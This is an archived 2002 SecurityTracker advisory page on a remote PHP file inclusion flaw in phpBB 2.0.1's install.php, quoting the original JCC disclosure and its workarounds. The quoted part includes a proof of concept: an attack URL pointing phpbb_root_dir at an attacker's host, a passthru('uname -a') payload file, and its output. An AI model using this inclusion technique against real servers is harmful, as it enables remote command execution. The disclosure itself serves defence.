SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   phpBB Vendors:   phpBB Group
phpBB Input Validation Error in 'install.php' Lets Remote Users Execute Arbitrary PHP Code and System Commands on the Server
SecurityTracker Alert ID:  1004564
SecurityTracker URL:  http://securitytracker.com/id/1004564
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jun 18 2002
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 2.0.1
Description:   An input validation flaw was reported in the phpBB web forum software. A remote user can execute arbitrary PHP code, including system commands, on the server.

JCC issued a security advisory warning of an include statement bug in the 'install.php' script that can be exploited when the 'php.ini' file is configured with the following options:

allow_url_fopen = On
register_globals = On

A remote user can specify the value of the $phpbb_root_dir to cause arbitrary PHP code located on a remote user to be executed on the target server.

A sample URL is provided:

http://URL/install.php?phpbb_root_dir=WANTED_TO_INCLUDE

A demonstration exploit is provided in the Source Message.

Impact:   A remote user can execute arbitrary PHP code, including passthru() system commands, on the server with the privileges of the web server.
Solution:   No solution was available at the time of this entry.

The author of the report has provided a workaround:

Configure allow_url_fopen = off and register_globals = off.

Remove or rename install.php.

Vendor URL:  www.phpbb.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Underlying OS Comments:  PHP-based

Message History:   None.


 Source Message Contents

Subject:  malicious PHP source injection in phpBB


JCC Security Advisory
June 16, 2002

malicious PHP source injection in phpBB

Description

phpBB is one of popular PHP bulletin board systems.
When allow_url_fopen = On and register_globals = On in php.ini, phpBB has
vulnerability because install.php contains dangerous codes.
So an attacker can include any files into server's PHP codes.

Impact

It's tested on phpBB 2.0.1. but I think all of phpBB 2 is affected.

Workaround

allow_url_fopen = off and register_globals = off. 
and if complete install remove or rename install.php.
Or in install.php
-------install.php------------
define('IN_PHPBB', true);
$phpbb_root_path='./';
----------------------------
Put it
-------snip-----------------
$phpbb_root_dir='./';
----------------------------

Good idea to code that <<PHP_CODE
ini_set("register_globals", "Off");
ini_set ("allow_url_fopen", "Off");
PHP_CODE

Tested systems 

phpBB 2.0.1 Debian GNU/Linux SID(x86)

Background

We checked the vulnerability with "http://URL/install.php?phpbb_root_dir=WANTED_TO_INCLUDE" and
 made a sample code, functions_selects.php,

--------------------includes/functions_selects.php--------------
<? passthru("uname -a"); ?>
-----------------------------------------

and type the following URL to invoke this sample code.

TEST URL : http://URL/install.php?phpbb_root_dir=http://MYBOX/"

-------out put----------------------------
Linux cpu 2.4.18-686 #1 Sun Apr 14 11:32:47 EST 2002 i686 unknown 
Warning: Cannot add header information - headers already sent by (output started at http://210.117.152.118:6969/includes/functions_selects.php:1)
 in /home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 182

Warning: Cannot add header information - headers already sent by (output started at http://210.117.152.118:6969/includes/functions_selects.php:1)
 in /home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 183

Warning: Cannot add header information - headers already sent by (output started at http://210.117.152.118:6969/includes/functions_selects.php:1)
 in /home/morris/public_html/tmp/phpBB2/install.php on line 346
-----------------------------------------

thx for BlackKnight at r0ar
---
http://jcc.hackerslab.org(at morris Chang)

e-mail : morris@xsdeny.net 

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC